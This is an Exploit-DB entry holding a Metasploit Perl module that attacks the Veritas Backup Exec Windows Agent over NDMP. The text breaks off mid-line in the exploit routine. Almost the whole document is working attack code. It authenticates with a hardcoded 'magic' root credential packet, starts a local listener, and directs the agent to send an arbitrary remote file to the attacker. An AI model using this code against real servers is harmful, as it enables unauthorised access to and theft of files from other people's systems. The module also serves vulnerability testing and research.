Exploit-DB #1147
Description: Veritas Backup Exec (Windows) - Remote File Access (Metasploit)
Type: remote
Platform: windows
Date: 2005-08-11
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

##
# Original code written by <CENSORED> and ported to the Framework by HDM
##

package Msf::Exploit::backupexec_dump;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use IO::Socket;
use IO::Select;

my $advanced = { };

my $info =
  {
	'Name'  	=> 'Veritas Backup Exec Windows Remote File Access',
	'Version'  	=> '$Revision: 1.3 $',
	'Authors' 	=> [ 'anonymous' ],
	'Arch'  	=> [ ],
	'OS'    	=> [ ],

	'UserOpts'	=>
	  {
		'RHOST' => [1, 'ADDR', 'The target IP address'],
		'RPORT' => [1, 'PORT', 'The target NDMP port', 10000],
		'RPATH' => [0, 'DATA', 'The remote file path to obtain'],
		
		'LHOST' => [1, 'ADDR', 'The local IP address', '0.0.0.0'],
		'LPORT' => [1, 'PORT', 'The local listner port', 44444],
		'LPATH' => [0, 'DATA', 'The local backup file path'],
	  },

	'Description'  => Pex::Text::Freeform(qq{
	This module abuses a logic flaw in the Backup Exec Windows Agent to download
arbitrary files from the system. This flaw was found by someone who wishes to
remain anonymous and affects all known versions of the Backup Exec Windows Agent. The 
output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program 
listed in the references section.
}),

	'Refs' =>
	  [
	  	['BID', '14551'],
		['URL', 'http://www.fpns.net/willy/msbksrc.lzh'],
		# ['URL', 'http://metasploit.com/tools/msbksrc.tar.gz'],
	  ],

	'DefaultTarget' => 0,
	'Targets' =>
	  [
		['Veritas Remote File Access'],
	  ],

	'Keys' => ['veritas'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Check {
	my $self        = shift;
	my $remote_host = $self->GetVar('RHOST');
	my $remote_port = $self->GetVar('RPORT');

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $remote_host,
		'PeerPort'  => $remote_port,
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ( $s->IsError ) {
		$self->PrintLine( '[*] Error connecting to Veritas agent: ' . $s->GetError );
		return $self->CheckCode('Connect');
	}

	my $res;
	my $pkt;
	
	$res = $self->AgentRead($s);
	if (! $res) {
		$self->PrintLine('[*] Did not receive greeting from the agent');
		$s->Close;
		return $self->CheckCode('Unknown');
	}

	my $username = "root";
	my $password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"; 

	# Create the CONNECT_CLIENT_AUTH request
	$pkt =
	  pack('N', 1).
	  pack('N', time()).
	  pack('N', 0).
	  pack('N', 0x0901).
	  pack('N', 0).
	  pack('N', 0).
	  pack('N', 2).
	  pack('N', length($username)).
	  $username.
	  $password;

	$self->PrintLine( "[*] Sending magic authentication request...");
	
	$self->AgentSend($s, $pkt);
	$res = $self->AgentRead($s);
	$s->Close;
	
	if (! $res) {
		$self->PrintLine('[*] Did not receive authentication response');
		return $self->CheckCode('Safe');	
	}

	my @words = unpack('N*', $res);
	
	if (
		$words[2] == 1 && 
		$words[3] == 0x0901 &&
	 	$words[5] == 0 &&
	  	$words[6] == 0
	   ) {
		$self->PrintLine('[*] This system appears to be vulnerable');
		return $self->CheckCode('Appears');
	}
	
	$self->PrintLine('[*] This system does not appear to be vulnerable');
	return $self->CheckCode('Safe');
}

sub Exploit {
	my $self        = shift;
	my $remote_host = $self->GetVar('RHOST');
	my $remote_port = $self->GetVar('RPORT');
	my $remote_path = $self->GetVar('RPATH');

	my $local_host  = $self->GetVar('LHOST');
	my $local_port  = $self->GetVar('LPORT');
	my $local_path  = $self->GetVar('LPATH');
	
	
	if (! $local_path) {
		$self->PrintLine("[*] Please specify a local file name for the LPATH option");
		return;
	}

	if (! $remote_path) {
		$self->PrintLine("[*] Please specify a remote file path for the RPATH option");
		return;
	}
		
	$self->PrintLine( "[*] Attempting to retrieve $remote_path...");

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $remote_host,
		'PeerPort'  => $remote_port,
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ( $s->IsError ) {
		$self->PrintLine( '[*] Error connecting to Veritas agent: ' . $s->GetError );
		return;
	}

	my $res;
	my $pkt;
	
	$res = $self->AgentRead($s);
	if (! $res) {
		$self->PrintLine('[*] Did not receive greeting from the agent');
		$s->Close;
		return;
	}

	my $username = "root";
	my $password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"; 

	# Create the CONNECT_CLIENT_AUTH request
	$pkt =
	  pack('N', 1).
	  pack('N', time()).
	  pack('N', 0).
	  pack('N', 0x0901).
	  pack('N', 0).
	  pack('N', 0).
	  pack('N', 2).
	  pack('N', length($username)).
	  $username.
	  $password;

	$self->PrintLine( "[*] Sending magic authentication request...");
	
	$self->AgentSend($s, $pkt);
	$res = $self->AgentRead($s);
	if (! $res) {
		$self->PrintLine('[*] Did not receive authentication response');
		return;
	}

	$self->PrintLine("[*] Starting the data connection listener on $local_port...");
	my $l = IO::Socket::INET->new
	  (
		'LocalPort' => $local_port,
		'Proto'     => 'tcp',
		'ReuseAddr' => 1,
		'Listen'    => 5,
		'Blocking'  => 0,
	  );
	
	if (! $l) {
		$self->PrintLine("[*] Failed to start the listener: $!");
		return;
	}
	
	my $sel = IO::Select->new($l);
	
	if ($local_host eq "0.0.0.0") {
		$local_host = $s->Socket->sockhost;
	}
	
	# Create the DATA_CONNECT request
	$pkt =
		pack('NNNNNNN',
			3,
			0,
			0,
			0x040a,
			0,
			0,
			1
		).
		gethostbyname($local_host).
		pack('N', $local_port);
		
	$self->PrintLine("[*] Directing the